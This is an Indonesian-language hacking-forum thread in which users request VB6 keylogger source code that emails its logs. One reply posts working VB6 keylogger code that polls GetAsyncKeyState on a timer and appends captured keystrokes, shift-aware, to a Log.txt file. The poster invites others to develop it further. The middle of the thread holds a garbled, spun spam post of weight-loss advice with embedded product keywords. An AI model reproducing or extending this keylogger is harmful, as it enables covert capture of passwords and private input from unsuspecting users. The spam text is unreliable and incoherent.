(REQ) Keylogger

[Nur_Alam]

ada yang punya Source Code keylogger send email dari VB6 ??
Mohon pencerahannya

[tempe_mendoan]

alhmdllah saya juga belum punya bang

[Nur_Alam]

(03-22-2012 10:04 AM)tempe_mendoan Wrote:  alhmdllah saya juga belum punya bang

hahha kirain saya nete punya gan .

[lahz]

send email ane gg pnya

[envennaKahmom]

Would you enjoy slimming down? Should you be, are you currently on the go for this? Though it may be recommended that you don't rely greatly about rapid weight loss, in addition typically called rapid weight loss, there are lots of folks who accomplish. If you are looking at losing weight, as fast as possible, you will need to continue reading on.

Among the numerous techniques it is possible to begin achieving a extra fat weight loss or quick weight loss is actually decreasing the foods that you eat. Any time losing meals usage, it is important that you only decrease your consumption a little bit. Unfortunately, a lot of people who would like to obtain quick weight loss feel that they need to stop eating completely, even when it can be for just two as well as 3 days. That is one thing you don't want to do. Once anyone application consuming once again, you'll likely obtain your weight rear, virtually automatically. It is additionally crucial that you point out that skipping meals is hazardous to your health. linea odchudzanie

Together with reducing your food intake, it is recommended that you just slow up the amount of sweets or perhaps unhealthy food that you take in. Regarding quick weight loss, you will need to totally eradicate unhealthy foods from a diet plan, even though it is merely for a short moment of your time. Which means that if you prefer a goody, you need to seize a good apple or perhaps lemon rather than chocolate bar or possibly a handbag regarding casino chips. Along with candies as well as other sweets staying full of calorie consumption, you could possibly see a important decrease in your current calories by eliminating these people from your eating habits. About

Exercises are another way you could attempt attaining rapid weight loss. One thing concerning using workout to realize fast weight loss is that it is a little tad difficult. Together with exercising, you might not watch a considerable weight-loss immediately. For instance, the idea normally takes most people a minimum of a week or two to see an improvement inside their visual appeal with the aid of workout. With that in mind, the more chubby you happen to be, the sooner you could possibly see a reduction in weight, often swiftly.

Another of many methods you might be capable of accomplish fasts fat loss or quick weight loss is with the use of a purify. These detoxification are commonly called digestive tract detoxification or fat loss detoxifies. Cleanses operate simply by eliminating poisons and further bodyweight, truly squander, from the physique. It is claimed that a lot of people have a minimum of seven or eight weight regarding squander stored in their health. A fat loss purify or a colon cleanse need to assist get rid of these poisons from your body. hoodia gordonii opinie

In case you decide to try cleansing the colon or possibly a weight reduction purify, that will help you achieve a rapid weight loss, it is essential that anyone go through all recommendations given to an individual. A few detoxifies have a very rigorous diet that you need to adhere to. For your quickest fat loss, you might want to analyze liquefied cleanses, as an alternative to those who work in pill platforms, as they often produce the quickest results.

All these quick weight loss tips may help you obtain rapid weight loss, even when it is only a tiny fat loss. Once again, it is important to continue but be careful. Even though it is more which feasible for one to attain the quick weight loss goal, it is also hazardous for your requirements and your wellness.

[black.bottle]

Code:

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Type aArry
    kode As Integer
    bawah As String
    atas As String
End Type
Private Arry(1 To 255) As aArry
Private IdxArry As Integer
Private FileName As String
Private Sub ApplyCharacter(kode As Integer, atas As String, bawah As String)
    IdxArry = IdxArry + 1
    Arry(IdxArry).kode = kode
    Arry(IdxArry).atas = atas
    Arry(IdxArry).bawah = bawah
End Sub
Private Sub SetCharacter()
    Dim i As Integer
    For i = 65 To 90
        ApplyCharacter i, Chr(i), Chr(i + 32)
    Next i
    ApplyCharacter 48, ")", "0"
    ApplyCharacter 49, "!", "1"
    ApplyCharacter 50, "@", "2"
    ApplyCharacter 51, "#", "3"
    ApplyCharacter 52, "$", "4"
    ApplyCharacter 53, "%", "5"
    ApplyCharacter 54, "^", "6"
    ApplyCharacter 55, "&", "7"
    ApplyCharacter 56, "*", "8"
    ApplyCharacter 57, "(", "9"
    ApplyCharacter &H60, "", "0"
    ApplyCharacter &H61, "", "1"
    ApplyCharacter &H62, "", "2"
    ApplyCharacter &H63, "", "3"
    ApplyCharacter &H64, "", "4"
    ApplyCharacter &H65, "", "5"
    ApplyCharacter &H66, "", "6"
    ApplyCharacter &H67, "", "7"
    ApplyCharacter &H68, "", "8"
    ApplyCharacter &H69, "", "9"
    ApplyCharacter Asc(" "), " ", " "
End Sub
Private Sub Form_Load()
    FileName = "\Log.txt"
    SetCharacter
End Sub
Private Sub CreateLog(Isi As String)
    Dim Data As String
    Dim FileHandler As Long
  
    If (Dir(App.Path & FileName) <> "") Then
        FileHandler = FreeFile
        Open App.Path & FileName For Input As #FileHandler
            Data = Input(LOF(FileHandler) - 2, #FileHandler)
        Close #FileHandler
    End If
    
    FileHandler = FreeFile
    Open App.Path & FileName For Output As #FileHandler
        Print #FileHandler, Data & Isi
    Close #FileHandler
End Sub

Private Sub Timer1_Timer()
    Dim i As Integer
    Dim a, b As Integer
    For i = LBound(Arry) To UBound(Arry)
        a = GetAsyncKeyState(Arry(i).kode)
        b = GetAsyncKeyState(16)
        If (a = -32767) Then
            If (b = -32768) Then
                CreateLog Arry(i).atas
            Else
                CreateLog Arry(i).bawah
            End If
            Exit For
        End If
    Next
End Sub

Silahkan kembangkan sendiri